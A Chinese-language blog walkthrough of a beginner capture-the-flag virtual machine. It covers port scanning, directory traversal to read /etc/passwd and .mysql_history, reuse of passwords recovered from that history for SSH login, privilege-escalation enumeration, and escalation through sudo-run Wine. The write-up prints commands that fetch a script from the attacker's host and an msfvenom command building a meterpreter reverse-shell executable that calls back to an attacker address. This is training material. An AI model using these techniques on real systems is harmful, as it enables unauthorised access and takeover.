难度:初级++
靶机发布日期:2019年12月6日
靶机描述:Description: Have fun!
Difficulty: Beginner
Contact: @whitecr0wz
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]
工具、知识点和漏洞
- nmap
- dirsearch
- msfvenom
- metasploit
- burpsuite
- 目录穿越漏洞
- 敏感信息泄露
- 撞库
- Wine提权
存疑、待解决
- 通过Wine提权之后为什么不能调用系统的shell?
0x00、信息收集
靶机IP:192.168.56.101
nmap -sS -T5 192.168.56.0/24
端口和服务
nmap -sS -T5 -A -p- 192.168.56.101
80端口
8080端口
直接利用exploit-db上面的方法,可成功读取/etc/passwd
靶机上还运行着SSH服务,所以顺理成章的想到读取SSH的私钥,然后利用私钥登录靶机。
从/etc/passwd中可以发现除去root外,还有两个用户可以登录靶机sunrise
和weborf
,用户目录均为默认的。而SSH的私钥一般在用户目录的.ssh
目录中。
事实证明我想的过于简单了,两个用户目录下的.ssh/id_rsa都尝试读取了一下,都没有。
读取一下用户目录下有哪些文件,发现有个user.txt,看样子是flag。
0x01、撞库攻击登录靶机
从目前掌握的信息来看,Web层面除了网站的目录遍历漏洞可以被利用,没有其他任何可利用的东西;从运行的服务上来看,只有SSH和MySQL存在被利用的可能性。也就是说要么找到SSH的密码,要么找到MySQL的账号和密码。所以接下来需要做的事情,就是通过目录遍历漏洞在靶机上搜集上述两个信息。
sunrise用户目录除了user.txt之外,没有其他的东西了。
weborf用户目录居然也没有东西
用dirsearch
扫描一下,发现有.mysql_history
。这个文件是干什么的呢? 记录用户执行过的数据库语句。
读取一下.mysql_history
,看到ALTER USER 'weborf'@'localhost' IDENTIFIED BY 'iheartrainbows44';
。这条语句的意思是修改weborf
的密码。
当得到用户名密码的情况下一定要试一下撞库攻击,往往有惊喜。所以这里我们尝试使用账号weborf
,密码iheartrainbows44
登录靶机,结果成功登录。
0x02、权限提升
--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------
关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh.
如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux
先在kali上开启HTTP服务
python -m SimpleHTTPServer 65534
使用wget下载linuxprivchecker.py脚本到靶机的tmp目录
因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看
python linuxprivchecker.py > report.txt
less report.txt
靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。
-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------
SUID权限可执行文件,没有可用的
find / -perm -u=s -type f 2>/dev/null
常见的SUID提权可执行文件
- nmap
- vim
- less
- more
- nano
- cp
- mv
- find
- wget
- bash
当前用户可写文件,无。
find / -writable -type f 2>/dev/null >/tmp/report.txt
more /tmp/report.txt
查看计划任务,无。
cat /etc/crontab
查找sudo权限命令,提示weborf
用户无权限运行sudo命令。
sudo -l
找了一圈也没找到什么东西,发现还有数据库没登录过。
猜测thefutureissobrightigottawearshades
就是sunrise用户的密码了,这是我见过最长的密码了……
看到通过sudo 命令执行/usr/bin/wine
的时候拥有的是root权限。
wine就是那个可以在Linux系统上运行.exe的软件。
方法就是通过msfvenom生成一个反弹shell的.exe文件,然后通过wine去运行。
msfvenom -p windows/meterpreter/reverse_tcp -f exe --platform windows -a x86 -e generic/none lhost=192.168.56.102 lport=1234 >ins1ght.exe
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。我是ins1ght.